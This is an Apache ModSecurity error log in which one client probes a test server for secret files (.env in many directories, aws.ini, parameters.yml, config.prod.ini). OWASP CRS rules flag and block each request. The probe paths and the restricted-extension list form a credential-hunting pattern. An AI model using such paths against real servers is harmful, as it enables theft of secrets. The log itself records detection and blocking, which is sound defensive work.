[Fri Mar 13 10:38:55.957158 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/back-api/.env"] [unique_id "abPbLzBg1q11AF-qXvZD5QAAAAQ"]
[Fri Mar 13 10:38:55.979368 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /back-end/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/back-end/.env"] [unique_id "abPbLzBg1q11AF-qXvZD5gAAAAQ"]
[Fri Mar 13 10:38:55.979564 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/back-end/.env"] [unique_id "abPbLzBg1q11AF-qXvZD5gAAAAQ"]
[Fri Mar 13 10:38:55.979695 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/back-end/.env"] [unique_id "abPbLzBg1q11AF-qXvZD5gAAAAQ"]
[Fri Mar 13 10:38:56.001908 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /back/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/back/.env"] [unique_id "abPbMDBg1q11AF-qXvZD5wAAAAQ"]
[Fri Mar 13 10:38:56.002112 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/back/.env"] [unique_id "abPbMDBg1q11AF-qXvZD5wAAAAQ"]
[Fri Mar 13 10:38:56.002303 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/back/.env"] [unique_id "abPbMDBg1q11AF-qXvZD5wAAAAQ"]
[Fri Mar 13 10:38:56.025677 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend-api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend-api/.env"] [unique_id "abPbMDBg1q11AF-qXvZD6AAAAAQ"]
[Fri Mar 13 10:38:56.025878 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend-api/.env"] [unique_id "abPbMDBg1q11AF-qXvZD6AAAAAQ"]
[Fri Mar 13 10:38:56.026012 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend-api/.env"] [unique_id "abPbMDBg1q11AF-qXvZD6AAAAAQ"]
[Fri Mar 13 10:38:56.306006 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backup/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backup/.env"] [unique_id "abPbMDBg1q11AF-qXvZD9AAAAAQ"]
[Fri Mar 13 10:38:56.306204 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backup/.env"] [unique_id "abPbMDBg1q11AF-qXvZD9AAAAAQ"]
[Fri Mar 13 10:38:56.306361 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backup/.env"] [unique_id "abPbMDBg1q11AF-qXvZD9AAAAAQ"]
[Fri Mar 13 10:38:56.328673 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /be/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/be/.env"] [unique_id "abPbMDBg1q11AF-qXvZD9QAAAAQ"]
[Fri Mar 13 10:38:56.328911 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/be/.env"] [unique_id "abPbMDBg1q11AF-qXvZD9QAAAAQ"]
[Fri Mar 13 10:38:56.329055 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/be/.env"] [unique_id "abPbMDBg1q11AF-qXvZD9QAAAAQ"]
[Fri Mar 13 10:38:56.351415 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /beta/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/beta/.env"] [unique_id "abPbMDBg1q11AF-qXvZD9gAAAAQ"]
[Fri Mar 13 10:38:56.351617 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/beta/.env"] [unique_id "abPbMDBg1q11AF-qXvZD9gAAAAQ"]
[Fri Mar 13 10:38:56.351767 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/beta/.env"] [unique_id "abPbMDBg1q11AF-qXvZD9gAAAAQ"]
[Fri Mar 13 10:38:56.397487 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /client/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/client/.env"] [unique_id "abPbMDBg1q11AF-qXvZD-AAAAAQ"]
[Fri Mar 13 10:38:56.397689 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/client/.env"] [unique_id "abPbMDBg1q11AF-qXvZD-AAAAAQ"]
[Fri Mar 13 10:38:56.397824 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/client/.env"] [unique_id "abPbMDBg1q11AF-qXvZD-AAAAAQ"]
[Fri Mar 13 10:38:56.420801 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cms/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cms/.env"] [unique_id "abPbMDBg1q11AF-qXvZD-QAAAAQ"]
[Fri Mar 13 10:38:56.421006 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cms/.env"] [unique_id "abPbMDBg1q11AF-qXvZD-QAAAAQ"]
[Fri Mar 13 10:38:56.421155 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cms/.env"] [unique_id "abPbMDBg1q11AF-qXvZD-QAAAAQ"]
[Fri Mar 13 10:38:56.633353 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.prod.ini"] [unique_id "abPbMG5hdSeM3FMgw0t75AAAAAs"]
[Fri Mar 13 10:38:56.633736 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.prod.ini"] [unique_id "abPbMG5hdSeM3FMgw0t75AAAAAs"]
[Fri Mar 13 10:38:56.633857 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.prod.ini"] [unique_id "abPbMG5hdSeM3FMgw0t75AAAAAs"]
[Fri Mar 13 10:38:56.748831 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "abPbMG5hdSeM3FMgw0t76QAAAAs"]
[Fri Mar 13 10:38:56.749029 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "abPbMG5hdSeM3FMgw0t76QAAAAs"]
[Fri Mar 13 10:38:56.749163 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "abPbMG5hdSeM3FMgw0t76QAAAAs"]
[Fri Mar 13 10:38:56.817488 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/aws.ini"] [unique_id "abPbMG5hdSeM3FMgw0t77AAAAAs"]
[Fri Mar 13 10:38:56.817881 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/aws.ini"] [unique_id "abPbMG5hdSeM3FMgw0t77AAAAAs"]
[Fri Mar 13 10:38:56.818005 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/aws.ini"] [unique_id "abPbMG5hdSeM3FMgw0t77AAAAAs"]
[Fri Mar 13 10:38:57.213056 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/parameters.yml"] [unique_id "abPbMW5hdSeM3FMgw0t7_QAAAAs"]
[Fri Mar 13 10:38:57.213300 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/parameters.yml"] [unique_id "abPbMW5hdSeM3FMgw0t7_QAAAAs"]
[Fri Mar 13 10:38:57.213446 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/parameters.yml"] [unique_id "abPbMW5hdSeM3FMgw0t7_QAAAAs"]
[Fri Mar 13 10:38:57.305254 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/configs/application.ini"] [unique_id "abPbMW5hdSeM3FMgw0t8AQAAAAs"]
